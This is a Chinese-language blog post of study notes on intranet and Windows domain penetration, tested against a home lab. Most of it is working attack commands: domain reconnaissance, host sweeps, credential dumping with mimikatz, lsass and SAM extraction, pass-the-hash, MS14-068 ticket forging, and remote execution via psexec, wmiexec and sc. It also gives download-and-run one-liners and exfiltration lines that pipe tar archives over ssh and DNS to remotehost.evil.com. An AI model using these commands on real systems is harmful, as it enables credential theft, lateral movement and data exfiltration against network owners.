1.我所了解的內網滲透


最近看了一點內網滲透的學習資料,感覺內網滲透需要的知識太多,遂寫博客來記錄下自己學習內網滲透的一些筆記。

開篇首先推薦i春秋陳小兵老師在技術沙龍上的分享:https://www.ichunqiu.com/open/61711

並看大佬的一篇msf內網穿透文章:https://www.freebuf.com/articles/network/125278.html

其中內網滲透常見的幾個問題:

1.防火牆穿透
2.木馬免殺穿透
3.內網信息收集及目標定位
4.關於文件下載

而內網滲透也分為 域滲透工作組滲透

域滲透:

1.域信息收集
2.獲取域權限
3.dump域hash
4.內網權限維持

工作組滲透:

1.常規內網滲透
2.各種欺騙攻擊

如果非要說內網滲透的思路:

1.內網環境下先查看網絡架構。例如 網段信息 域控 DNS服務器 時間服務器 2.收集到了足夠多的信息可以掃一下開放端口 21 22 80 8080 443等確定敏感信息,以及之后滲透的方向 3.通過以上信息進行一定的弱口令嘗試,針對特定的軟件做banner采集利用,snmp測試讀取和寫入權限 4.進行一些提權操作,從橫向和縱向對目標服務器進行滲透。 6.進行敏感信息挖掘,內網密碼收集嗅探,同時擦出入侵足跡。

內網滲透在我感覺一種是拿下內網一台主機權限,外網端口轉發或者協議代理進內網,或者通過vpn連接進入內網,另一種是通過物理方法連入內網,比如通過網線,wifi熱點進入內網等。不過最終的目的一樣,只是連接過程不同,第一種比第二種要多一個”橋梁“。

如何拿下一個網站權限,這里不再多說,各有各的運氣,各有各的技術。

具體的端口轉發與協議代理可以看我上一篇文章:https://www.cnblogs.com/bmjoker/p/10264148.html

這里主要學習得到一台主機權限后,如何在主機所在內網翻出更大的浪花。

-----------------------------------

博主在本地搭建了域環境:

DC:windows2008  192.168.0.108

DM:windows2003 192.168.0.107

DM:windows xp  192.168.0.105

-----------------------------------

0x01 域信息收集

---------------------------

1.內網信息探測常用命令

2.網絡環境的判斷

3.內網存活主機探測

4.hash與明文

---------------------------

1.內網信息探測常用命令

拿下一台內網機器,首先要定位內網機器的架構。

收集基本信息:

ipconfig /all                ------ 查詢本機IP段,所在域等 
net user                     ------ 本機用戶列表 
net localgroup administrators            ------ 本機管理員[通常含有域用戶] 
net user /domain                         ------ 查詢域用戶 
net group /domain                        ------ 查詢域里面的工作組
net group "domain admins" /domain        ------ 查詢域管理員用戶組 
net localgroup administrators /domain    ------ 登錄本機的域管理員
net localgroup administrators workgroup\user001 /add   ------域用戶添加到本機
net group "domain controllers" /domain        ------ 查看域控制器(如果有多台) 
net time /domain                   ------ 判斷主域,主域服務器都做時間服務器 
net config workstation             ------ 當前登錄域 
net session                        ------ 查看當前會話 
net use \\ip\ipc$ pawword /user:username      ------ 建立IPC會話[空連接-***] 
net share                          ------  查看SMB指向的路徑[即共享]
net view                           ------ 查詢同一域內機器列表 
net view \\ip                      ------ 查詢某IP共享
net view /domain                   ------ 查詢域列表
net view /domain:domainname        ------ 查看workgroup域中計算機列表 
net start                          ------ 查看當前運行的服務 
net accounts                       ------  查看本地密碼策略 
net accounts /domain               ------  查看域密碼策略 
nbtstat –A ip                      ------netbios 查詢 
netstat –an/ano/anb                ------ 網絡連接查詢 
route print                        ------ 路由表
tasklist /V ----- 查看進程[顯示對應用戶] tasklist /S ip /U domain\username /P /V ----- 查看遠程計算機進程列表 qprocess * ----- 類似tasklist qprocess /SERVER:IP ----- 遠程查看計算機進程列表 nslookup –qt-MX Yahoo.com ----- 查看郵件服務器 whoami /all ----- 查詢當前用戶權限等 set ----- 查看系統環境變量 systeminfo ----- 查看系統信息 qwinsta ----- 查看登錄情況 qwinsta /SERVER:IP ----- 查看遠程登錄情況 fsutil fsinfo drives ----- 查看所有盤符 gpupdate /force ----- 更新域策略
cmdkey /l ----- 看是否保存了登陸憑證。(攻擊者會先查看管理員是否保留了登陸憑證,方便后續的憑證抓取。
echo %logonserver% ----- 查看登陸域

這里有一個特殊的用戶叫做krbtgt,該用戶是用於Kerberos身份驗證的賬戶,獲得了該用戶的hash,就可以偽造票據傳遞攻擊

2.網絡環境的判斷

1.機器所處位置區域的判斷;

2.機器在內網中角色的判斷;

3.進出口流量是否連通的判斷,是否出的去,進得來

-------------------------------------

(1) 位置的判斷

位置判斷是指機器處於網絡拓撲中的某個區域,是在DMZ區,辦公網,還是核心區,核心DB等多個位置,當然這里的區域並不是絕對的,只是大概的一個環境,不同的地方網絡環境不一樣,區域的界限也不一定明顯。

(2) 角色的判斷

機器角色的判斷指判斷已經控制的機器是普通Web服務器、開發測試服務器、公共服務器、文件服務器還是代理服務器、DNS服務器、存儲服務器等等。具體的判斷是通過對機器內的主機名、文件、網絡連接等多種情況進行綜合判斷的。

(3)連通性的判斷

出口流量是否連通的判斷指機器是否能上外網這些,要綜合判斷協議(tcp\http\dns\icmp等協議)與端口(常見能出去的端口有80,8080,443,53,110,123等)。在這里還有一種是網絡內網設置了代理服務器的情況,攻擊者通常會查看環境變量set,主機名是否有proxy字樣的機器,注冊表是否有寫明代理地址或指定pac代理文件等。

3.內網存活主機探測

icmp掃描

基於icmp的各種內網主機發現方式,如果防火牆過濾的icmp請求,這種方式基本就廢了,但是基本上都不會過濾icmp協議的請求。除了本身自帶的命令,也可以考慮使用第三方程序,比如cping

在windows下使用icmp掃描

  • cmd中執行如下命令,對整個C段進行ping掃描
cmd回顯: for /l %i in (1,1,255) do @ping 192.168.0.%i -w 1 -n 1 | find /i "ttl"
導出成文本: @for /l %i in (1,1,255) do @ping -n 1 -w 40 192.168.0.%i & if errorlevel 1 (echo 192.168.0.%i>>c:\a.txt) else (echo 192.168.0.%i >>c:\b.txt)

  • 利用powershell對目標內網進行icmp掃描
powershell.exe -exec bypass -Command "Import-Module C:\Invoke-TSPingSweep.ps1;Invoke-TSPingSweep -StartAddress 192.168.0.1 -EndAddress 192.168.0.254 -ResolveHost -ScanPort -Port 21,22,23,25,53,80,81,82,83,84,85,86,87,88,89,110,111,143,389,443,445,873,1025,1433,1521,2601,3306,3389,3690,5432,5900,7001,8000,8080,8081,8082,8083,8084,8085,8086,8087,8089,9090,10000" 目標網段,並非僅限C段,比如你也可以寫成這種方式`192.168.0.1 - 192.168.0.254`

 windows 2003與windows xp需要安裝powershell1.0:官方下載地址

 關於powershell在內網滲透中的作用,請看下一篇文章,這里不再細說。

在linux下使用各類icmp掃描

  • shell中執行linux腳本進行掃描
#!/bin/bash for ip in 192.168.0.{1..254} do ping $ip -c 1 &> /dev/null 
        if [ $? -eq 0 ];then echo $ip is alive .... fi done

或者

for i in 192.168.0.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i is alived; fi; done
  • nmap的icmp掃描
nmap -sn -PE 192.168.0.1/24

如果是物理方法連接內網,可直接進行探測。如果僅有一台內網主機權限,可以作端口轉發,感覺比較靠譜的還是配置SOCKS5內網代理,使用proxychains配合nmap使用,或者使用msf中的模塊先掛內網代理,使用scanner模塊進行掃描,或者把內網已getshell的機器配置成跳板機,來借力打力。

arp掃描

在windows下使用arp掃描:

  • arpscan工具掃描
start /b arpscan.exe -t 192.168.0.1/24 >> result.txt

arpscan.exe下載地址:https://www.2cto.com/soft/201001/16987.html#download

所需dll文件:https://cn.dll-files.com

  • powershell調用arpscan掃描
powershell.exe -exec bypass -Command "Import-Module C:\Invoke-ARPScan.ps1;Invoke-ARPScan -CIDR 192.168.1.0/24"  >> result.txt

在linux下使用arp掃描:

  • nmap的arp掃描
nmap -sn -PR 192.168.0.1/24  嘗試arp掃描
  • netdiscover掃描
netdiscover -r 192.168.0.1/24 -i eth0
  • msf的arp掃描模塊
msf > use  auxiliary/scanner/discovery/arp_sweep msf > show options msf > set  interface eth0 msf > set  smac 00:0c:29:92:fd:85 msf > set  rhosts 192.168.0.1/24 msf > set  threads 20 msf > set  shost 192.168.0.133 (偽造源ip) msf > run
  • msf獲取一個shell
meterpreter > getsystem 另外,在目標機器上掃描時,務必先提權(個人建議,會方便很多),不然掃描過程中可能會有些問題 meterpreter > run autoroute -s 192.168.0.1/24 (添加路由) meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.0.1/24
meterpreter > run

基於smb和netbios的內網主機發現方式

windows下nbt掃描:

nbtscan.exe -m  192.168.0.1/24   非常經典的小工具

nbtscan.exe工具下載地址:http://www.unixwiz.net/tools/nbtscan.html#download

linux下nbt掃描:

nbtscan.exe -r  192.168.0.1/24 

域內掃描

net view
dsquery computer  其實,域內最好用的也就是nbtscan了

如果計算機名很多的時候,可以利用bat批量ping獲取ip

@echo off setlocal ENABLEDELAYEDEXPANSION @FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO (
@FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO ( @FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k  %%j) ) )

4.hash與明文

抓取hash最好的工具莫過於mimikatz,不過免殺是個問題。

從 sam 數據庫中提取目標系統本地用戶密碼 hash

  • 在線讀取sam數據庫

(1) 使用mimikatz提取系統hash與明文

privilege::debug token::elevate lsadump::sam
sekurlsa::logonPasswords (獲取明文用戶口令)

破解出的NTLM可以嘗試CMD5破解:

或者嘗試 ophcrack 破解:https://www.objectif-securite.ch/ophcrack.php

簡單密碼可以直接明文顯示

(2) 使用pwdump7提取系統密碼hash

下載地址:http://passwords.openwall.net/b/pwdump/pwdump7.zip

需要管理員權限執行:

可以看到已經提取出hash

(3) 使用powershell腳本提取hash

hash腳本下載地址:https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-PowerDump.ps1

管理員權限執行powershell命令:

powershell -ep bypass -f Invoke-PowerDump.ps1
  • 離線讀取 sam 數據庫

獲取當前系統的 sam 數據庫文件,在另一個系統下讀取

導出 sam 數據庫文件有以下兩種實現方法:

(1) 保存注冊表

管理員權限,利用 reg 將 sam,system和 security文件導出來,並保存在本地:

reg save HKLM\SYSTEM system.hiv reg save HKLM\SAM sam.hiv reg save HKLM\SECURITY sercrity.hiv mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv /sercrity:sercrity.hiv" exit

可以看到已提取出hash

參考鏈接:通過SAM數據庫獲得本地用戶hash

通過 dump lsass.exe 進程數據離線免殺抓取明文

(1) 通過procdump.exe提取出明文

procdump.exe工具下載地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

有時遇到殺軟,直接在目標機器上抓取密碼可能會被殺,這時可以先利用 procdump 把 lsass.exe 進程中的數據導出到指定文件中,再把導出的文件下回到本地用 mimikatz 讀取文件中的密碼hash,以實現免殺效果,不過需要注意的是,本地讀取文件的系統平台和目標的系統需要完全一致。

先在目標機器上執行:

32位機器:procdump.exe -accepteula -ma lsass.exe lsass.dmp 64位機器:procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

本地使用mimikatz讀取文件中的密碼hash

mimikatz.exe
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

可以看到已經提取出系統中的hash與明文

(2) powershell調用dump腳本

# Public>powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1');"Get-Process lsass | Out-Minidump" 或者本機執行 # Public>powershell –exec bypass –Command "& {Import-Module 'C:\Users\Public\Out-Minidump.ps1'; Get-Process lsass | Out-Minidump}"

關於windows10/2012r2 以后系統的明文密碼抓取方式

在windows10/2012r2 之后的系統版本中,默認情況下是禁用了在內存緩存中存儲系統用戶明文密碼,此時使用mimikatz去抓取密碼,會顯示null。

解決方法為:修改注冊表 ---> 抓取windows server 2012 & 2016 & win8明文密碼

 

0x02 橫向滲透

 

-------------------------

1.默認權限配置認知

2.端口轉發與協議代理

3.工作組橫向滲透

4.域環境橫向滲透

5.權限維持

-------------------------

1.默認權限配置認知

[+]普通機器 允許Console:administrator組(domain admins),users組(domain users),backup operators組 允許rdp:administrator組(domain admins),Remote desktop users組 [+]域控AD 允許Console:administrator組,backup operators組,account operators組,print operators組,server operators組 允許rdp:administrator組,Remote desktop users組

如果出現配置錯誤,屬於權限設置問題。

當某些普通\不普通用戶加入AD的rdp組或其他管理組,當攻擊者拿到這些用戶的權限時就相當於可以獲取到域控制器的權限了。

2.代理轉發與協議代理

具體請參考我上一篇文章:內網滲透之端口轉發

3.工作組橫向滲透

工作組采取的一般都是常規滲透方法,因為工作組一般都是個人和少數服務器。

通常使用的方法有:

  • 掃描網段中的web服務,常用的有phpstudy,wampserver等,來尋找搭建的服務漏洞
  • 掃描開放端口信息,以及對應的服務,判斷是否存在漏洞。
  • 掃描主機由於沒有更新到最新版本導致的系統漏洞,比如MS17-010,補丁號為KB4013389
  • hash抓取,hash注入,hash碰撞,IPC登陸,未授權訪問,文件共享系統。
  • ARP嗅探/欺騙攻擊(Cain和Ettercap)
  • DNS劫持,會話劫持。
  • 社會工程學
  • ...

4.域環境橫向滲透

(1)域內信息探測

windows環境常用命令:

net user /domain       #查看域用戶
net view /domain       #查看有幾個域
net view /domain:XXX   #查看此域內電腦
net group /domain      #查詢域里面的組
net group "domain computers" /domain  #查看加入到域內的所有計算機名
net group "domain admins" /domain     #查看域管理員
nltest /dclist:xxx     #查看域控制器
net group "domain controllers" /domain   #查看域控制器
net user hacker /domain     #獲得指定賬戶的詳細信息
net accounts /domain        #獲得域密碼策略設置,密碼長短,錯誤鎖定等信息

 dsquery命令探測AD信息:

dsquery computer       ----- 尋找目錄中的計算機
dsquery contact        ----- 在目錄中查找與指定的搜索條件相匹配的聯系人
dsquery subnet         ----- 尋找目錄中的子網
dsquery group          ----- 尋找目錄中的群組
dsquery ou             ----- 尋找目錄中的組織單位
dsquery site           ----- 尋找目錄中的站點
dsquery server         ----- 尋找目錄中的域控制器
dsquery user           ----- 尋找目錄中的用戶
dsquery quota          ----- 尋找目錄中的配額規格
dsquery partition      ----- 尋找目錄中的磁盤分區
dsquery *              ----- 使用標准的LDAP查詢在目錄中尋找任何對象
dsquery server –domain Yahoo.com | dsget server–dnsname –site   ---搜索域內域控制器的DNS主機名和站點名
dsquery computer domainroot –name *-xp –limit 10                ----- 搜索域內以-xp結尾的機器10台
dsquery user domainroot –name admin* -limit                     ---- 搜索域內以admin開頭的用戶10個
……
……
[注:dsquery來源於Windows Server 2003 Administration Tools Pack]
具體參考:http://blog.51cto.com/122269875/1716414

Net系列命令獲取域內信息

Csvde/ldifde/dsquery/adfind/ldapsearch    #探測更詳細信息
使用`Get-SPN`(powershell腳本LDAP中快速查詢符合指定得用戶、組、或者SPN服務名稱)
Nslookup -type=SRV_ldap._tcp   #(尋找域控)
tasklist /v     #列出進程和進程所有者(看是否有域管登陸)
PowerView       #(powershell腳本 輔助找尋定位關鍵用戶,查看域管在線機器)
WinScanX.exe    #遠程信息刺探
Winfo.exe       #遍歷遠程用戶名
nmap smb-enum-sessions.nse    #(引擎來獲取遠程機器的登陸session,並且不需要管理權。)
netview.exe     #(它利用`NetSessionEnum`來尋找登陸sessions,利用`NetShareEnum`來找尋共享,利用`NetWkstaUserEnum`來枚舉登陸的用戶)

Wmic系列命令使用:

wmic bios                       ----- 查看bios信息
wmic qfe                        ----- 查看補丁信息
wmic qfe get hotfixid           ----- 查看補丁-Patch號
wmic startup                    ----- 查看啟動項
wmic service                    ----- 查看服務
wmic os                         ----- 查看OS信息
wmic process get caption,executablepath,commandline
wmic process call create “process_name” (executes a program)
wmic process where name=”process_name” call terminate (terminates program)
wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size,
volumeserialnumber (hard drive information)
wmic useraccount (usernames, sid, and various security related goodies)
wmic useraccount get /ALL
wmic share get /ALL (you can use ? for gets help ! )
wmic startup list full (this can be a huge list!!!)
wmic /node:"hostname" bios get serialnumber (this can be great for finding warranty info about target)

linux常用命令:

cat /etc/issue           #查看系統名稱
cat /etc/lsb-release #查看系統名稱 cat /etc/nsswitch #查看密碼登陸策略 route #查看路由 cat /etc/network/interfaces #查看網卡配置文件 cat /var/log/syslog #查看系統日志
ps aux #查看進程
crontab -l #計划任務
cat /etc/network/interfaces #查看網絡配置
netstat #查看網絡通信
showmount -e ip 查看NFS連接
ldapsearch -h 192.168.0.1 -x -z 10 -p 指定端口 #查找10條用戶記錄
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.0.1 #匿名信息查找管理員信息
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2 #有密碼形式查找管理員信息

(2) 域管權限獲取

除了工作組的幾種方法外,還有域特別的幾種滲透方法。

1.組策略漏洞(GPP)

域管理員使用GPP來配置和操作域,常見的操作有遠程創建本地用戶、映射打印機、映射磁盤等,這些操作有時候需要提供賬號密碼。當組策略進行分發時,會在 SYSVOL 目錄下生成一個xml文件,理所當然的前面提供的賬號密碼都保存在這個xml文件中,而密碼是經過AES加密得,也就是說完全可逆的加密算法,而微軟同時也很照顧的公布了加密密鑰,所以任何域普通用戶就可以讀取這些xml文件並使用公開的AES密鑰破解密碼。組策略漏洞是windows 2008的,而且不一定是groups.xml,其他的xml也可能存在密碼。

dir \\domain.com\sysvol\*

2.Kerberos協議漏洞

關於Kerberos協議漏洞常見的三種有:MS14-068Golden ticket(黃金票據)SILVER TICKET(白銀票據)

簡單介紹一下Kerberos協議的工作方法:

  • 客戶機將明文密碼進行NTLM哈希,然后和時間戳一起加密(使用krbtgt密碼hash作為密鑰),發送給kdc(域控),kdc對用戶進行檢測,成功之后創建TGT(Ticket-Granting Ticket)
  • 將TGT進行加密簽名返回給客戶機器,只有域用戶krbtgt才能讀取kerberos中tgt數據
  • 然后客戶機將tgt發送給域控制器KDC請求TGS(票證授權服務)票證,並且對tgt進行檢測
  • 檢測成功之后,將目標服務賬戶的ntlm以及tgt進行加密,將加密后的結果返回給客戶機。

ms14-068

Benjamin Delpy(mimikatz的作者)寫了一個MS14-068的利用工具,叫Kekeo,是PyKEk的升級版,他能夠找到並定位有漏洞的域控,在打了補丁(KB3011780)和 2012/2012r2域控情況下仍能奏效。

在利用ms14-068漏洞之前,建議先使用 klist/purge 清除服務器端緩存的 Kerberos 憑據,且使用域控地址不使用IP.

  • PyKEK

具體Pykek工具及下載地址:https://www.secpulse.com/archives/2874.html

github項目地址:https://github.com/mubix/pykek

  • Kekeo

先給出工具下載地址:https://github.com/gentilkiwi/kekeo/releases

利用條件: 域用戶及口令 域控地址
利用方法: kekeo.exe
/domain:vuln.local /user:adminstrator /password:12580/ /ptt

具體使用參考:http://www.cnblogs.com/backlion/p/6820744.html

3.相同密碼登陸(hash碰撞)

hash碰撞實際上就是利用hash傳遞來盲打。

如果內網主機的本地管理員賬戶密碼相同且允許賬戶登陸域內其他機器。

在域環境中,利用pass the hash的滲透方式往往是這樣:

1.獲得一台域主機權限; 2.Dump內存獲取用戶hash(或明文); 3.通過pass the hash 或 pass the ticket嘗試登陸其他主機; 4.繼續收集hash或明文,並嘗試遠程登陸; 5.知道獲得域管理員hash,登陸域控,最終成功控制整個域。

域登陸緩存mscash
使用reg命令提取sam、system、securit,然后用creddump7或者mimakatz提取mscash。

4.利用漏洞配置不當獲取更多主機權限

  • 常見應用漏洞:
struts2、zabbix、axis、ImageMagic、fastcgi、Shellshock、redis未授權訪問、Hadoop、weblogic、jboss、WebSphere、Coldfusion
  • 常見語言反序列化漏洞
php、Java、python、ruby、node.js
  • 數據庫漏洞及配置不當
mssql Get-SQLServerAccess、MySQL低版本hash登陸、MySQL低版本Authentication Bypass、域內mssql憑證獲取密碼、monggodb未授權訪問、memcache配置不當
  • 內網中很多web應用存在常見漏洞、使用有漏洞的中間件和框架、弱口令及配置不當(注入、任意文件讀取、備份、源碼泄漏(rsync、git、svn、DS_Store)、代碼執行、xss、弱口令、上傳漏洞、權限繞過…)
  • web應用、及數據庫中尋找其他服務器密碼信息(ftp、mail、smb、ldap存儲、sql...
  • 系統備份文件(ghost)中讀密碼
  • 在已有控制權限主機中,查看各瀏覽器書簽、cookie、存儲密碼、鍵盤記錄收集相關敏感信息、查詢注冊表中保存密碼、讀取各客戶端連接密碼、putty dll注入、putty密碼截取、ssh連接密碼,以獲取更多主機權限
 推薦工具:NetRipper、Puttyrider.exe、ProwserPasswordDump.exe、LaZagne.exe
  •  ms08-067 遠程溢出(極少能碰到)
  •  cmdkey /list 遠程終端可信任連接連接 netpass.exe 讀取該密碼
  •  arp欺騙中間人攻擊(替換sql數據包、認證憑證獲取、密碼獲取極大不到萬不得已不會用)
  •  WPAD中間人攻擊(全稱網絡代理自動發現協議、截獲憑證該種方法不需要ARP欺騙,比較好用的一種方法(使用Responder.py/net-creds.py))
  •  翻閱相關文件及以控制數據庫中可能存儲配置口令(別忘了回收站)
  •  用已有控制權限的郵箱賬號以及前期所了解到的信息進行欺騙(社會工程學)
  •  定向瀏覽器信息ip信息定向掛馬(0day)
  •  用以收集的密碼(組合變換密碼)對各服務進行爆破
  •  應用0day攻擊…

5.遠程命令執行方式

例如  at\schtasks\psexec\wmic\sc\ps  網上有很多相關資源也不占篇幅了,只提一個很少提的。從2012r2 起,他們開了一個端口叫5985,原理跟大家常說的 powershell remote是一樣的,基於 winrm 服務,於是可以這樣執行。又是一個系統自帶的遠程管理工具。

winrs -r:192.168.22.33 -u:administrator -p:p@assw0rd ipconfig

(3) 目標定位

在有域控權限的條件下,需要找到某台機器(服務器、個人機、數據庫)

我們首先先將所有的域用戶的詳細信息都列舉出來,通過詳細名稱(Full Name)確認其域用戶。

【域滲透】批量Net-User

dsquery user - 查找目錄中的用戶。 dsquery computer - 查找目錄中的計算機。

我們將上面的兩條命令的執行結果結合起來進行歸類。

然后通過域控日志查找登陸IP或者機器。當然,除了日志還有別的方式,不限於日志。

【域滲透】獲取域環境內用戶登錄信息

找到機器或者IP之后,可通過域管理員或者用其域用戶進行登陸。登陸的方式也是有多重,上面有講過。

但是,也有些機器是登陸不上的。我們可以通過設置域登陸腳本進行操作。

【域滲透】在域控上使用cmd更改域用戶配置文件中的登錄腳本

5.權限維持

推薦三好學生大佬的文章:

域滲透——Security Support Provider

域滲透——Skeleton Key

域滲透——Hook PasswordChangeNotify

 

-------------------2019.2.8補充---------------------------

1.域內文件操作

2.域內運行命令

---------------------------

1.域內文件操作:

Windows:

(1)利用IPC$傳輸文件

建立ipc連接以后,就可以訪問目標機器的文件(上傳、下載),也可以在目標機器上運行命令。 上傳和下載文件直接通過copy命令就可以,不過路徑換成UNC路徑。 何為UNC路徑?簡單來講以\開頭的路徑就是UNC路徑,比如\192.168.1.2\c$\boot.ini。 如果要從本地當前目錄上傳1.bat到192.168.1.2機器C盤根目錄下,那么命令就是:

copy 1.bat \\192.168.1.2\C$\

反之就是下載。dir,copy,xcopy,move,type的參數都可以使用UNC路徑

(2)利用Telnet連接來傳輸文件

服務端:nc -lvnp 23 < nc.exe 下載端:telnet ip -f c:\nc.exe

(3)利用文件共享

net use x: \\[目標IP]\[地址] [域用戶password] /user:[域]\[username]

(4)powershell文件下載

powershell突破限制執行:

powershell -ExecutionPolicy Bypass -File .\1.ps1

1.ps1內容:

$d = New-Object System.Net.WebClient $d.DownloadFile("http://baidu.com/file.zip","c:/1.zip")

(5)vbs腳本下載:

Set xPost=createObject("Microsoft.XMLHTTP") xPost.Open "GET","http://192.168.206.101/file.zip",0 xPost.Send() set sGet=createObject("ADODB.Stream") sGet.Mode=3 sGet.Type=1 sGet.Open() sGet.Write xPost.ResponseBody sGet.SaveToFile "c:\file.zip",2

下載執行:

cscript test.vbs

(6)bitsadmin win03測試沒有,win08有:

bitsadmin /transfer n http://baidu.com/file.zip c:\1.zip

(7)hta 保存為.hta文件后運行:

<html>
<head>
<script>
var Object = new ActiveXObject("MSXML2.XMLHTTP"); Object.open("GET","http://192.168.206.101/demo.php.zip",false); Object.send(); if (Object.Status == 200) { var Stream = new ActiveXObject("ADODB.Stream"); Stream.Open(); Stream.Type = 1; Stream.Write(Object.ResponseBody); Stream.SaveToFile("C:\\demo.zip", 2); Stream.Close(); } window.close(); </script>
<HTA:APPLICATION ID="test" WINDOWSTATE = "minimize">
</head>
<body>
</body>
</html>

Linux:

(1)perl腳本文件下載 kali下測試成功,centos5.5下,由於沒有LWP::Simple這個,導致下載失敗

#!/usr/bin/perl use LWP::Simple getstore("http://baidu.com/file.zip", "/root/1.zip");

(2)python腳本文件下載:

#!/usr/bin/python import urllib2 u = urllib2.urlopen('http://baidu.com/file.zip') localFile = open('/root/1.zip', 'w') localFile.write(u.read()) localFile.close()

(3)ruby文件下載 centos5.5沒有ruby環境:

#!/usr/bin/ruby require 'net/http' Net::HTTP.start("www.lemon.com") { |http| r = http.get("/file.zip") open("/root/1.zip", "wb") { |file| file.write(r.body) } }

(4)wget文件下載:

wget http://baidu.com/file.zip -P /root/1.zip

其中-P是保存到指定目錄

(5)一邊tar一邊ssh上傳:

tar zcf - /some/localfolder | ssh remotehost.evil.com "cd /some/path/name;tar zxpf -" 

(6)利用dns傳輸數據:

tar zcf - localfolder | xxd -p -c 16 |  while read line; do host $line.domain.com remotehost.evil.com; done

其他傳輸方式:

(1)php腳本文件下載:

<?php $data = @file("http://example.com/file"); $lf = "local_file"; $fh = fopen($lf, 'w'); fwrite($fh, $data[0]); fclose($fh); ?>

(2)ftp文件下載:

>**windows下**
>ftp下載是需要交互,但是也可以這樣去執行下載 open host username password bin lcd c:/
get file bye >將這個內容保存為1.txt, ftp -s:"c:\1.txt"
>在mssql命令執行里面(不知道為什么單行執行一個echo,總是顯示兩行),個人一般喜歡這樣 echo open host >> c:\hh.txt & echo username >> c:\hh.txt & echo password >>c:\hh.txt & echo bin >>c:\hh.txt & echo lcd c:\>>c:\hh.txt & echo get nc.exe  >>c:\hh.txt & echo bye >>c:\hh.txt & ftp -s:"c:\hh.txt" & del c:\hh.txt >**linux下**
>bash文件 ftp 127.0.0.1 username password get file exit >或者使用busybox里面的tftp或者ftp >busybox ftpget -u test -P test 127.0.0.1 file.zip

(3)nc文件傳輸:

服務端:cat file | nc -l 1234 下載端:nc host_ip 1234 > file

(4)使用SMB傳送文件

本地linux的smb的環境配置:

>vi /etc/samba/smb.conf [test] comment = File Server Share path = /tmp/ browseable = yes writable = yes guest ok = yes read only = no create mask = 0755
>service samba start 

下載端:

net use o: \\192.168.206.129\test dir o:

/

2.域內運行命令

(1)利用計划任務

at \\192.168.0.100 15:00 c:\hack.bat

(2)PSexec

psexec針對遠程建立連接的認證方式有兩種,一種先建立ipc連接,然后直接用

psexec \\192.168.0.100 cmd命令開啟一個半交互式的cmdshell,另一種是在psexec的參數中指定賬號密碼。
參數:
-s 參數用來以system權限執行 –accepteula 繞過第一次運行的彈窗 -c <[路徑]文件名>:拷貝文件到遠程機器並運行(注意:運行結束后文件會自動刪除) -d 不等待程序執行完就返回 使用:psexec \\192.168.1.2 c:\hack.bat

(3)wmiexec

T00ls大牛寫的一款工具。早就傳開了。 半交互模式: cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 username password
 單個命令執行的模式: cscript.exe wmiexec.vbs /cmd 192.168.1.1 username password "command" 如果有時候我們抓取到的是hash,破解不了時可以利用WCE的hash注入,然后再執行WMIEXEC(不提供賬號密碼)就可以了。 cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 
wce -s [hash] cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1

(4)SC創建服務執行:

1、系統權限(其中test為服務名) sc \\DC1 create test binpath= c:\cmd.exe sc \\DC1 start test sc \\DC1 delete test 2.指定用戶權限啟動 sc \\DC1 create test binpath = "c:\1.exe" obj= "centoso\administrator" passwrod= test sc \\DC1 start test

 

參考連接:

https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&mid=2247487491&idx=1&sn=270336c6cca79b4a4e5d777d41ce71b7&chksm=ec1e202bdb69a93dba0f48f973132958c95d86b2db2b6d70b8ddd1cbe41c187fa08ca4c0d9c6&mpshare=1&scene=23&srcid=0531CV9kBehjp4YNxrCvqxo7#rd

https://www.secpulse.com/archives/5671.html

https://www.secpulse.com/archives/50288.html

黑客游走於企業windows內網的幾種姿勢

內網滲透——網絡環境的判斷

深入解讀MS14-068漏洞:微軟精心策划的后門?

域滲透之橫向移動

域滲透——Pass The Hash & Pass The Key

windows后門種植方式收集

域滲透——Pass The Ticket

How Attackers Use Kerberos Silver Tickets to Exploit Systems

域內配置ACL后門及檢測清理

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM